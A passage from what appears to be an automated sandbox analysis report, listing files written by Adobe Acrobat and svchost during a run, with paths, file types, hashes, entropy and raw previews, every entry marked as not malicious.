SHA-512:	01D629ED01B13B51BE145D8DAEC3F59D2DF8B6EE388634836F751EC6B256E35B4FBC4E33D70CE987B816DB34409755DAED2A3F628832E1D6C04EF767D40911B4
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x79af1d47, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555864886505073
Encrypted:	false
SSDEEP:	1536:tSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:tazaSvGJzYj2UlmOlOL
MD5:	AAD712EAFEDFDD4A3948A7009F7CDD6C
SHA1:	2F869AE29FC6C6725657829CE660AD098746EFCC
SHA-256:	A648639BE3FC594A5C5E24668ED4AF090FA45D1C1BEC6C773A78D526CF81A333
SHA-512:	0BCD5F032B53A5211066CF04BC65517B65DA0807415FCF854557630A74A2BB94A8A56CD810619FBE28AE1782D63AE334389942C72CE4E8EA8807008D5BD247A8
Malicious:	false
Preview:	y..G... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.........................................}W....................C.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07898655786614
Encrypted:	false
SSDEEP:	3:ctlKYeDXYENaAPaU1lfZkYHlluxmO+l/SNxOf:0lKzDX3NDPaU3ZvgmOH
MD5:	8F35875C3D6874069BD2C7979B18E63A
SHA1:	223B2FF02DA93A37AD7E5F0790DBB20D0549E5C5
SHA-256:	31330AAA1046B5D8A0E00E11BDAB7290AB004A95AFA0A7AAC01210D0BE2AE851
SHA-512:	2C2C0C2A66190D195E0C6E1944A3A7A8E1A1E28E3F60B6981FB7B93B0BF484EA4F332180272FA34029E71A6B0513C42685D8298427D96AF90A0F7AD78D450198
Malicious:	false
Preview:	...e.....................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?....................C.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.1444660356485015
Encrypted:	false
SSDEEP:	6:iO4qX9Ajyq2PN72nKuAl9OmbnIFUtSqXXJ1ZmwsqXXfRkwON72nKuAl9OmbjLJ:7nRvVaHAahFUt91/D5OaHAaSJ
MD5:	DAF001102D91DB480B3C830D5CBC5F75
SHA1:	AFF9655B3970F865127DBBDC4006DD3AC801BE7F
SHA-256:	14051B9DC146AB7BA3BB6988EC7588A25B75B86F7714946AAB5251C8D07A979E
SHA-512:	D61046E1E918EF787D6E224CCD6FA6E7495676258F23A354256C02F2BFC1D3C10CA97EB84EAC3A1DD3C6F6757FDBBE81F703EF2A2EE623BBEA92201781305AE1
Malicious:	false
Preview:	2025/01/10-22:05:16.687 c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:05:16.691 c50 Recovering log #3.2025/01/10-22:05:16.691 c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.1444660356485015
Encrypted:	false
SSDEEP:	6:iO4qX9Ajyq2PN72nKuAl9OmbnIFUtSqXXJ1ZmwsqXXfRkwON72nKuAl9OmbjLJ:7nRvVaHAahFUt91/D5OaHAaSJ
MD5:	DAF001102D91DB480B3C830D5CBC5F75
SHA1:	AFF9655B3970F865127DBBDC4006DD3AC801BE7F
SHA-256:	14051B9DC146AB7BA3BB6988EC7588A25B75B86F7714946AAB5251C8D07A979E
SHA-512:	D61046E1E918EF787D6E224CCD6FA6E7495676258F23A354256C02F2BFC1D3C10CA97EB84EAC3A1DD3C6F6757FDBBE81F703EF2A2EE623BBEA92201781305AE1
Malicious:	false
Preview:	2025/01/10-22:05:16.687 c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:05:16.691 c50 Recovering log #3.2025/01/10-22:05:16.691 c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.121799651138638
Encrypted:	false
SSDEEP:	6:iO4qXLN+q2PN72nKuAl9Ombzo2jMGIFUtSqXhAZmwsqXhwVkwON72nKuAl9Ombzz:7yvVaHAa8uFUtS/g5OaHAa8RJ
MD5:	631EEF2C185D7ACB0889551991CF08DE
SHA1:	BE7B884C70DF7B8E7B5842CCA878097105858978
SHA-256:	3053AE704F2689DC1EB1944D1FC6782E4792D2F9C4FAAE8813EA560BDB1EF8A1
SHA-512:	23EF4F08E2E7DFE4BB31839DE7EDC8FAD12EA22F9E48C5FD88BFB49B5AF823926D19C3C523383513F09A45BFF5A12B3775BD8EE905648FA24945FA3D1EDD1F0F
Malicious:	false
Preview:	2025/01/10-22:05:16.812 1318 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:05:16.813 1318 Recovering log #3.2025/01/10-22:05:16.813 1318 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.121799651138638
Encrypted:	false
SSDEEP:	6:iO4qXLN+q2PN72nKuAl9Ombzo2jMGIFUtSqXhAZmwsqXhwVkwON72nKuAl9Ombzz:7yvVaHAa8uFUtS/g5OaHAa8RJ
MD5:	631EEF2C185D7ACB0889551991CF08DE
SHA1:	BE7B884C70DF7B8E7B5842CCA878097105858978
SHA-256:	3053AE704F2689DC1EB1944D1FC6782E4792D2F9C4FAAE8813EA560BDB1EF8A1
SHA-512:	23EF4F08E2E7DFE4BB31839DE7EDC8FAD12EA22F9E48C5FD88BFB49B5AF823926D19C3C523383513F09A45BFF5A12B3775BD8EE905648FA24945FA3D1EDD1F0F
Malicious:	false
Preview:	2025/01/10-22:05:16.812 1318 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:05:16.813 1318 Recovering log #3.2025/01/10-22:05:16.813 1318 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6baf307e-b369-49e1-b670-259b468ad61c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963716805413449
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqihsBdOg2HRcaq3QYiubcP7E4T3y:Y2sRdsBydMHo3QYhbA7nby
MD5:	D2F9BBA9F7135C05E299C73CBDC16F2B
SHA1:	262DF42FE2A462669B951A32E8BAB41696065AD6
SHA-256:	BC54FD111173C032F8A50012D47DC8A149DCCD39DC827CBC64B674B8DBBEADC8
SHA-512:	0572DC2620BB1CE868946B63FBEA05D6DE274C2ACDA7AB984A31C8DB71F6416195DF3AB928C4B4A8BA10C6C5CC599C9F20E03B1B4E3ECAB9A722BF8C7A6C465B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124728200486","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139231},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963716805413449
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqihsBdOg2HRcaq3QYiubcP7E4T3y:Y2sRdsBydMHo3QYhbA7nby
MD5:	D2F9BBA9F7135C05E299C73CBDC16F2B
SHA1:	262DF42FE2A462669B951A32E8BAB41696065AD6
SHA-256:	BC54FD111173C032F8A50012D47DC8A149DCCD39DC827CBC64B674B8DBBEADC8
SHA-512:	0572DC2620BB1CE868946B63FBEA05D6DE274C2ACDA7AB984A31C8DB71F6416195DF3AB928C4B4A8BA10C6C5CC599C9F20E03B1B4E3ECAB9A722BF8C7A6C465B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124728200486","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139231},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.246434996125675
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7AcvAz:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh0
MD5:	B0A526B8437131EBCAD05BCA4BAD3F6B
SHA1:	70D2A7AD2A1DE5002BBE4533BD69B85E436B3B3E
SHA-256:	C19E4CEB808291B7F5F384E637B334A1CB210F3540A931CCDE98D7115E90F8BC
SHA-512:	D8EFBB5C69C87C4BC16F11761E7226F5CF3081158C0AD4D997EC5DC4A5C966372B2FDDF686F918A2673B43BF728261F70CFA012B2B51F9AABCB39EBB9525D302
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.165378460763418
Encrypted:	false
SSDEEP:	6:iO4qXGwE3+q2PN72nKuAl9OmbzNMxIFUtSqXGysZZmwsqXGVVkwON72nKuAl9Omk:7oSvVaHAa8jFUtqysZ/Mb5OaHAa84J
MD5:	9D742FB837D2F51BDB70EAB36601FCBF
SHA1:	4C3C040215007F3849565E678C37CCA891F4BEDE
SHA-256:	A018460CA62D031FCAFBC0C023607562D6B98F44F67C562BF19A8B72A7640711
SHA-512:	8029E588DB6673F4DA81C7768B43FDE0E97CAC8525C4F0C697973B2793801948D846E611E029F91FFFA8BEDCAE4B5362D34383C71A43C042E2FA0B64D392027B
Malicious:	false
Preview:	2025/01/10-22:05:17.269 1318 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:05:17.667 1318 Recovering log #3.2025/01/10-22:05:17.681 1318 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.165378460763418
Encrypted:	false
SSDEEP:	6:iO4qXGwE3+q2PN72nKuAl9OmbzNMxIFUtSqXGysZZmwsqXGVVkwON72nKuAl9Omk:7oSvVaHAa8jFUtqysZ/Mb5OaHAa84J
MD5:	9D742FB837D2F51BDB70EAB36601FCBF
SHA1:	4C3C040215007F3849565E678C37CCA891F4BEDE
SHA-256:	A018460CA62D031FCAFBC0C023607562D6B98F44F67C562BF19A8B72A7640711
SHA-512:	8029E588DB6673F4DA81C7768B43FDE0E97CAC8525C4F0C697973B2793801948D846E611E029F91FFFA8BEDCAE4B5362D34383C71A43C042E2FA0B64D392027B
Malicious:	false
Preview:	2025/01/10-22:05:17.269 1318 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:05:17.667 1318 Recovering log #3.2025/01/10-22:05:17.681 1318 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444558626445045
Encrypted:	false
SSDEEP:	384:Se7ci5t1iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Tes3OazzU89UTTgUL
MD5:	6EE36285FDAE098EC9F74B8A4EA28E9D
SHA1:	6939AF572C2690D4DF5093AB66312EDD1F9C9BDA
SHA-256:	B6DA65B6F25ABFBEC18C160C6C148884957A6863E0232E3EB71510C51B3AFCBC
SHA-512:	22ACD78EB7C97CF9B6CF783C39369F6E1201D2E957A2F8191D4E5ED3E1CF331E4703841EE253D434FD1BD605F137EFD1EC15431D9C2AC1D46976B4241D9FA523
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.212510289190762
Encrypted:	false
SSDEEP:	24:7+t5x7nuwK8TqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfO:7M7nC8TqPmFTIF3XmHjBoGGR+jMz+Lh2
MD5:	9BA16F77B79C58716D68CC0C75721233
SHA1:	BDFAB87049A24C7168079772F0DE12F58D0E7083
SHA-256:	FB08B216C22D5FB02E2BE1B1376DEEDC95B0F8B1F6B645D1911A3D4597C43E2C
SHA-512:	DF157DEDE8C3471DE9CC8C3DA5D6F97A8C5006CCD78390E95B513834BD826C0F4029866E8FA4AB90DBCF720832F489CE01ED8CCC22A19A3F3E38A36D3093AB3F
Malicious:	false
Preview:	.... .c.......C.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFkl0jpM/tfllXlE/HT8kvXNNX8RolJuRdxLlGB9lQRYwpDdt:kKtjyeT8udNMa8RdWBwRd
MD5:	41A8901A8B79C07F38020CBBE1901209
SHA1:	717F22CAF59D6F1B49DF2F3A41FB288E71F0A3F4
SHA-256:	815EF9257DB41301F68922188F307BAE05FE1D6C8D444C94F9B4ABE8F19164CA
SHA-512:	4CBA5D8B1D9FE63E2CD414AC341682330459568D233EC0BE2CA27AAFBEBD1A8466DDA5BB4728C6466325B87F4CC9C59271B556604DC40DC9F794D94E259CAE5C
Malicious:	false
Preview:	p...... .........:3..c..(....................................................... ..........W....1...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2220917896724686
Encrypted:	false
SSDEEP:	6:kKcL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:UiDImsLNkPlE99SNxAhUe/3
MD5:	2A47F9C3936D33E96E50073813CA6E96
SHA1:	AC0B62AF7AB1A2647D09AB49DFDB02388330CCA0
SHA-256:	63D58A681496AB53E6487B27BFF8663F27ACDD4E885A30C116A27F8EC2935059
SHA-512:	2B979D046F668DFA383D22504169655947291FFA8881E13E27F234D05B51D1E2843CC9864DB865EAA2BD616EED1DA75C4F242E7B1A704017E42AD99189C11CB3
Malicious:	false
Preview:	p...... ........pfn..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
